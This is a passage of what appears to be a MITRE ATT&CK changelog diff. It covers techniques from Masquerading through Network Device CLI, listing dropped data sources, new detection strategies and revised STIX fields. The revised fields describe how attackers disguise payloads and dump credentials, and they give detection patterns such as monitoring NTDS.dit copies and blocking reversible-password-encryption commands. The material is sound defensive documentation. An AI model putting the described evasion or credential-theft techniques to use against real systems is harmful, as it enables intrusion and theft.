	>	the file extension of a malicious payload in order to bypas		>	the file extension of a malicious payload in order to bypas
	>	s file validation checks and/or input sanitization. This beh		>	s file validation checks and/or input sanitization. This beh
	>	avior is commonly used when payload files are transferred (e		>	avior is commonly used when payload files are transferred (e
	>	.g., [Ingress Tool Transfer](https://attack.mitre.org/techni		>	.g., [Ingress Tool Transfer](https://attack.mitre.org/techni
	>	ques/T1105)) and stored (e.g., [Upload Malware](https://atta		>	ques/T1105)) and stored (e.g., [Upload Malware](https://atta
	>	ck.mitre.org/techniques/T1608/001)) so that adversaries may		>	ck.mitre.org/techniques/T1608/001)) so that adversaries may
	>	move their malware without triggering detections. Common n		>	move their malware without triggering detections. Common n
	>	on-executable file types and extensions, such as text files		>	on-executable file types and extensions, such as text files
	>	(`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typic		>	(`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typic
	>	ally treated as benign. Based on this, adversaries may use		>	ally treated as benign. Based on this, adversaries may use
	>	a file extension to disguise malware, such as naming a PHP b		>	a file extension to disguise malware, such as naming a PHP b
	>	ackdoor code with a file name of <code>test.gif</code>. A us		>	ackdoor code with a file name of <code>test.gif</code>. A us
	>	er may not know that a file is malicious due to the benign a		>	er may not know that a file is malicious due to the benign a
	>	ppearance and file extension. Polygot files, which are file		>	ppearance and file extension. Polyglot files, which are fil
	>	s that have multiple different file types and that function		>	es that have multiple different file types and that function
	>	differently based on the application that will execute them,		>	differently based on the application that will execute them
	>	may also be used to disguise malicious malware and capabili		>	, may also be used to disguise malicious malware and capabil
	>	ties.(Citation: polygot_icedID)		>	ities.(Citation: polygot_icedID)

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0226: Detection Strategy for Masquerading via File Type Modification

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:12.855000+00:00	2025-10-08 17:44:11.183000+00:00
description	Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file’s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file’s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file’s type. For example, the header of a JPEG file, is `0xFF 0xD8` and the file extension is either `.JPE`, `.JPEG` or `.JPG`. Adversaries may edit the header’s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections. Common non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of `test.gif`. A user may not know that a file is malicious due to the benign appearance and file extension. Polygot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)	Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file’s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file’s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file’s type. For example, the header of a JPEG file, is `0xFF 0xD8` and the file extension is either `.JPE`, `.JPEG` or `.JPG`. Adversaries may edit the header’s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections. Common non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of `test.gif`. A user may not know that a file is malicious due to the benign appearance and file extension. Polyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_contributors[1]	Ben Smith, @cyberg3cko	Ben Smith

[T1036.004] Masquerading: Masquerade Task or Service

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0003: Scheduled Job (Scheduled Job Metadata)
DS0003: Scheduled Job (Scheduled Job Modification)
DS0017: Command (Command Execution)
DS0019: Service (Service Creation)
DS0019: Service (Service Metadata)

New Detections (Detection Strategies -> Technique):

DET0117: Detection of Masqueraded Tasks or Services with Suspicious Naming and Execution

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Scheduled Job: Scheduled Job Modification', 'Service: Service Creation', 'Command: Command Execution', 'Service: Service Metadata', 'Scheduled Job: Scheduled Job Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:48:29.215000+00:00	2025-10-24 17:49:00.215000+00:00
x_mitre_detection	Look for changes to tasks and services that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks or services may show up as outlier processes that have not been seen before when compared against historical data. Monitor processes and command-line arguments for actions that could be taken to create tasks or services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

[T1036] Masquerading

Current version: 1.8

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Creation)
DS0003: Scheduled Job (Scheduled Job Metadata)
DS0003: Scheduled Job (Scheduled Job Modification)
DS0007: Image (Image Metadata)
DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0009: Process (Process Metadata)
DS0017: Command (Command Execution)
DS0019: Service (Service Creation)
DS0019: Service (Service Metadata)
DS0022: File (File Metadata)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0127: Behavioral Detection of Masquerading Across Platforms via Metadata and Execution Discrepancy

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification', 'Process: Process Metadata', 'Service: Service Creation', 'Service: Service Metadata', 'Process: Process Creation', 'Image: Image Metadata', 'Scheduled Job: Scheduled Job Metadata', 'User Account: User Account Creation', 'File: File Metadata', 'Scheduled Job: Scheduled Job Modification', 'Command: Command Execution', 'Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:26.186000+00:00	2025-10-24 17:48:42.609000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) Look for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters"\u202E", "[U+202E]", and "%E2%80%AE”.

[T1036.005] Masquerading: Match Legitimate Resource Name or Location

Current version: 2.0

Dropped Detections (Data Components -> Technique):

DS0007: Image (Image Metadata)
DS0009: Process (Process Creation)
DS0009: Process (Process Metadata)
DS0022: File (File Metadata)

New Detections (Detection Strategies -> Technique):

DET0347: Detection Strategy for Masquerading via Legitimate Resource Name or Location

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Metadata', 'Image: Image Metadata', 'Process: Process Metadata', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:11.443000+00:00	2025-10-24 17:48:28.950000+00:00
x_mitre_detection	Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) In containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users.

[T1218.013] System Binary Proxy Execution: Mavinject

Current version: 2.0

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0433: Detecting Code Injection via mavinject.exe (App-V Injector)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:48:44.734000+00:00	2025-10-24 17:48:28.606000+00:00
x_mitre_detection	Monitor the execution and arguments of mavinject.exe. Compare recent invocations of mavinject.exe with prior history of known good arguments and injected DLLs to determine anomalous and potentially adversarial activity. Adversaries may rename abusable binaries to evade detections, but the argument `INJECTRUNNING` is required for mavinject.exe to perform [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001) and may therefore be monitored to alert malicious activity.

[T1556] Modify Authentication Process

Current version: 2.6

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Authentication)
DS0002: User Account (User Account Modification)
DS0009: Process (OS API Execution)
DS0009: Process (Process Access)
DS0011: Module (Module Load)
DS0015: Application Log (Application Log Content)
DS0022: File (File Creation)
DS0022: File (File Modification)
DS0024: Windows Registry (Windows Registry Key Creation)
DS0024: Windows Registry (Windows Registry Key Modification)
DS0025: Cloud Service (Cloud Service Modification)
DS0026: Active Directory (Active Directory Object Modification)
DS0028: Logon Session (Logon Session Creation)

New Detections (Detection Strategies -> Technique):

DET0104: Detect Modification of Authentication Processes Across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Application Log: Application Log Content', 'Process: Process Access', 'Logon Session: Logon Session Creation', 'Active Directory: Active Directory Object Modification', 'User Account: User Account Authentication', 'Process: OS API Execution', 'Windows Registry: Windows Registry Key Creation', 'File: File Creation', 'User Account: User Account Modification', 'File: File Modification', 'Module: Module Load', 'Cloud Service: Cloud Service Modification', 'Windows Registry: Windows Registry Key Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:21.746000+00:00	2025-10-24 17:49:36.944000+00:00
x_mitre_detection	Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages`) and correlate then investigate the DLL files these files reference. Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013) Monitor for calls to `OpenProcess` that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) Monitor PAM configuration and module paths (ex: `/etc/pam.d/`) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files. Monitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins) Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). Monitor property changes in Group Policy that manage authentication mechanisms (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). The `Store passwords using reversible encryption` configuration should be set to Disabled. Additionally, monitor and/or block suspicious command/script execution of `-AllowReversiblePasswordEncryption $true`, `Set-ADUser` and `Set-ADAccountControl`. Finally, monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)

[T1578] Modify Cloud Compute Infrastructure

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0020: Snapshot (Snapshot Creation)
DS0020: Snapshot (Snapshot Deletion)
DS0020: Snapshot (Snapshot Metadata)
DS0020: Snapshot (Snapshot Modification)
DS0025: Cloud Service (Cloud Service Metadata)
DS0030: Instance (Instance Creation)
DS0030: Instance (Instance Deletion)
DS0030: Instance (Instance Metadata)
DS0030: Instance (Instance Modification)
DS0030: Instance (Instance Start)
DS0030: Instance (Instance Stop)
DS0034: Volume (Volume Creation)
DS0034: Volume (Volume Deletion)
DS0034: Volume (Volume Metadata)
DS0034: Volume (Volume Modification)

New Detections (Detection Strategies -> Technique):

DET0308: Detection Strategy for Modify Cloud Compute Infrastructure

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Instance: Instance Metadata', 'Instance: Instance Stop', 'Snapshot: Snapshot Creation', 'Volume: Volume Modification', 'Instance: Instance Modification', 'Instance: Instance Creation', 'Volume: Volume Metadata', 'Instance: Instance Start', 'Cloud Service: Cloud Service Metadata', 'Volume: Volume Creation', 'Snapshot: Snapshot Modification', 'Snapshot: Snapshot Metadata', 'Volume: Volume Deletion', 'Snapshot: Snapshot Deletion', 'Instance: Instance Deletion']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:49:33.134000+00:00	2025-10-24 17:48:26.284000+00:00
x_mitre_detection	Establish centralized logging for the activity of cloud compute infrastructure components. Monitor for suspicious sequences of events, such as the creation of multiple snapshots within a short period of time or the mount of a snapshot to a new instance by a new or unexpected user. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.

[T1112] Modify Registry

Current version: 2.0

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0024: Windows Registry (Windows Registry Key Creation)
DS0024: Windows Registry (Windows Registry Key Deletion)
DS0024: Windows Registry (Windows Registry Key Modification)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0280: Behavior-Based Registry Modification Detection on Windows

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Windows Registry: Windows Registry Key Modification', 'Process: OS API Execution', 'Network Traffic: Network Traffic Flow', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Deletion', 'Windows Registry: Windows Registry Key Creation', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:33.486000+00:00	2025-10-24 17:48:49.294000+00:00
x_mitre_detection	Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file. Monitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. The Registry may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), which may require additional logging features to be configured in the operating system to collect necessary information for analysis. Monitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016).

[T1601] Modify System Image

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0170: Detection Strategy for Modify System Image on Network Devices

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 15:15:59.227000+00:00	2025-10-24 17:49:13.730000+00:00
x_mitre_detection	Most embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because this method may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised. (Citation: Cisco IOS Software Integrity Assurance - Image File Verification) Many vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)

[T1218.005] System Binary Proxy Execution: Mshta

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0029: Network Traffic (Network Connection Creation)

New Detections (Detection Strategies -> Technique):

DET0506: Detecting Mshta-based Proxy Execution via Suspicious HTA or Script Invocation

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'File: File Creation', 'Command: Command Execution', 'Network Traffic: Network Connection Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:47:18.707000+00:00	2025-10-24 17:49:03.265000+00:00
x_mitre_detection	Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed .hta files to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the .hta file being executed. Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious

[T1218.007] System Binary Proxy Execution: Msiexec

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0017: Command (Command Execution)
DS0029: Network Traffic (Network Connection Creation)

New Detections (Detection Strategies -> Technique):

DET0158: Detection of Msiexec Abuse for Local, Network, and DLL Execution

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Module: Module Load', 'Network Traffic: Network Connection Creation', 'Process: Process Creation', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:16.547000+00:00	2025-10-24 17:48:38.626000+00:00
x_mitre_detection	Use process monitoring to monitor the execution and arguments of msiexec.exe. Compare recent invocations of msiexec.exe with prior history of known good arguments and executed MSI files or DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of msiexec.exe may also be useful in determining the origin and purpose of the MSI files or DLLs being executed.

[T1111] Multi-Factor Authentication Interception

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0024: Windows Registry (Windows Registry Key Modification)
DS0027: Driver (Driver Load)

New Detections (Detection Strategies -> Technique):

DET0246: Detection Strategy for MFA Interception via Input Capture and Smart Card Proxying

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Driver: Driver Load', 'Process: OS API Execution', 'Windows Registry: Windows Registry Key Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:50:08.274000+00:00	2025-10-24 17:49:29.231000+00:00
x_mitre_detection	Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior. Similar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes.

[T1621] Multi-Factor Authentication Request Generation

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Authentication)
DS0015: Application Log (Application Log Content)
DS0028: Logon Session (Logon Session Creation)
DS0028: Logon Session (Logon Session Metadata)

New Detections (Detection Strategies -> Technique):

DET0160: Detection Strategy for Multi-Factor Authentication Request Generation (T1621)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['User Account: User Account Authentication', 'Logon Session: Logon Session Metadata', 'Application Log: Application Log Content', 'Logon Session: Logon Session Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:50:21.216000+00:00	2025-10-24 17:49:07.399000+00:00
x_mitre_detection	Monitor user account logs as well as 2FA/MFA application logs for suspicious events: unusual login attempt source location, mismatch in location of login attempt and smart device receiving 2FA/MFA request prompts, and high volume of repeated login attempts, all of which may indicate user's primary credentials have been compromised minus 2FA/MFA mechanism.

[T1104] Multi-Stage Channels

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0228: Detect Multi-Stage Command and Control Channels

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 15:15:50.032000+00:00	2025-10-24 17:49:03.646000+00:00
x_mitre_detection	Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.

[T1003.003] OS Credential Dumping: NTDS

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0022: File (File Access)

New Detections (Detection Strategies -> Technique):

DET0586: Detection of NTDS.dit Credential Dumping from Domain Controllers

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'File: File Access']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:19.862000+00:00	2025-10-24 17:49:34.852000+00:00
x_mitre_detection	Monitor processes and command-line arguments for program execution that may be indicative of credential dumping, especially attempts to access or copy the NTDS.dit.

[T1564.004] Hide Artifacts: NTFS File Attributes

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Metadata)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0432: Detection Strategy for NTFS File Attribute Abuse (ADS/EAs)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'File: File Modification', 'Process: Process Creation', 'File: File Metadata', 'Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:20.821000+00:00	2025-10-24 17:49:35.944000+00:00
x_mitre_detection	Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the `ZwSetEaFile` and `ZwQueryEaFile` Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017) There are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: `file.ext:ads[.ext]`) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f. The Streams tool of Sysinternals can be used to uncover files with ADSs. The `dir /r` command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a `-stream` parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)

[T1106] Native API

Current version: 2.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0011: Module (Module Load)

New Detections (Detection Strategies -> Technique):

DET0529: Behavioral Detection of Native API Invocation via Unusual DLL Loads and Direct Syscalls

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_remote_support		False

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: OS API Execution', 'Module: Module Load']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:23.043000+00:00	2025-10-24 17:48:39.785000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. Utilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity.
x_mitre_contributors[0]	Gordon Long, Box, Inc., @ethicalhax	Gordon Long, LegioX/Zoom, asaurusrex

[T1546.007] Event Triggered Execution: Netsh Helper DLL

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0017: Command (Command Execution)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0575: Detection Strategy for Netsh Helper DLL Persistence via Registry and Child Process Monitoring (Windows)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Windows Registry: Windows Registry Key Modification', 'Module: Module Load', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:23.142000+00:00	2025-10-24 17:49:37.405000+00:00
x_mitre_detection	It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the `HKLM\SOFTWARE\Microsoft\Netsh` registry key for any new or suspicious entries that do not correlate with known system files or benign software.(Citation: Demaske Netsh Persistence)

[T1599] Network Boundary Bridging

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0006: Detection Strategy for Network Boundary Bridging

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:19.349000+00:00	2025-10-24 17:49:16.493000+00:00
x_mitre_detection	Consider monitoring network traffic on both interfaces of border network devices with out-of-band packet capture or network flow data, using a different device than the one in question. Look for traffic that should be prohibited by the intended network traffic policy enforcement for the border network device. Monitor the border network device’s configuration to validate that the policy enforcement sections are what was intended. Look for rules that are less restrictive, or that allow specific traffic types that were not previously authorized.

[T1498] Network Denial of Service

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0013: Sensor Health (Host Status)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0518: Behavioral Detection of T1498 – Network Denial of Service Across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow', 'Sensor Health: Host Status']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:51:06.430000+00:00	2025-10-24 17:49:28.162000+00:00
x_mitre_detection	Detection of Network DoS can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an Network DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.

[T1556.004] Modify Authentication Process: Network Device Authentication

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0272: Detect Modification of Network Device Authentication via Patched System Images

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 21:40:12.055000+00:00	2025-10-24 17:49:38.719000+00:00
x_mitre_detection	Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification) Detection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).

[T1059.008] Command and Scripting Interpreter: Network Device CLI

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0142: Behavioral Detection of CLI Abuse on Network Devices

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution']

values_changed
